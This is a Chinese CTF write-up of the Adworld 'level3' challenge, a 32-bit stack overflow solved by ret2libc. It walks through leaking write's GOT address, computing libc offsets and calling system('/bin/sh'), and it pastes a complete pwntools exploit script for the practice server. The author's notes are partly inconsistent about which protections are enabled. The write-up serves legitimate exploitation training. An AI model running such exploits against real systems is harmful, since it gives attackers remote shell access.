『攻防世界』:新手区 | level3
解题先下载的文件为xxxx.gz $ gunzip level3.gz $ tar -zxvf level3.gz checksec level3 | file level3
#动态链接的程
没有canary 放进ida看一看
没有后门函数,没有plt["system"],没有next(elf.search("/bin/sh")),但是有一个栈溢出漏洞
同时下载的文件还附赠了libc文件一份,我觉的可以用程序中的write的地址和lic文件中的write地址计算出地址的偏移量,再通过偏移量得到/bin/sh 和 system在程序中的地址再构造payload 也许可以得到服务器的shell。
发现开启了所有保护,大致思想为:libc里的地址是随机的,但是函数的相对地址是不变的,于是只需要知道其中某一个函数的地址,再利用相对位移计算出我们所需要的函数的地址,如果知道read或write函数的地址就可以计算出其他函数的地址。
先看看溢出需要填充的垃圾数据长度,gdb动态调试一下:得出垃圾数据长度为136+4
04:0010│ ecx 0xffffc160 ◂— 'AAAA\n' 05:0014│ 0xffffc164 ◂— 0xa /* '\n' */ ```` 25:0094│ 0xffffc1e4 —▸ 0xffffc2a4 —▸ 0xffffc3d5 ◂— '/home/zowie/Downloads/level3' 26:0098│ ebp 0xffffc1e8 —▸ 0xffffc1f8 ◂— 0x0
很痛苦,一直没有调试出来。查看了下writeup,和我思路是一样的,但是就是我的完成不了(官方wp下次再试,网站不能获取场景)
这里贴上官方的wp
1 #思路:程序流程非常简单,可以突破的点只有read函数。通过覆盖返回地址,执行两次main函数。第一次泄漏write函数的地址,第二次执行system函数。 2 3 #导入pwn模块 4 from pwn import * 5 6 #获取远程进程对象 7 p=remote('',) 8 9 #获取本地进程对象 10 #p = process("./level3/level3") 11 12 #获取文件对象 13 elf=ELF('./level3') 14 15 #获取lib库对象 16 libc = ELF('./libc_32.so.6') 17 18 #获取函数 19 write_plt=elf.plt['write'] 20 write_got=elf.got['write'] 21 main_addr=elf.sym['main'] 22 23 #接收数据 24 p.recvuntil(":\n") 25 26 #char[88] ebp write函数地址 write函数返回地址(返回到main函数) write函数参数一(1) write函数参数二(write_got地址) write函数参数三(写4字节) 27 payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) 28 p.sendline(payload) 29 30 #获取write在got中的地址 31 write_got_addr=u32(p.recv()) 32 print hex(write_got_addr) 33 34 #计算lib库加载基址 35 libc_base=write_got_addr-libc.sym['write'] 36 print hex(libc_base) 37 38 #计算system的地址 39 system_addr = libc_base+libc.sym['system'] 40 print hex(system_addr) 41 42 #计算字符串 /bin/sh 的地址。0x15902b为偏移,通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取 43 bin_sh_addr = libc_base + 0x15902b 44 print hex(bin_sh_addr) 45 46 #char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr) 47 payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr) 48 49 #接收数据 50 p.recvuntil(":\n") 51 52 #发送payload 53 p.sendline(payload2) 54 55 #切换交互模式 56 p.interactive()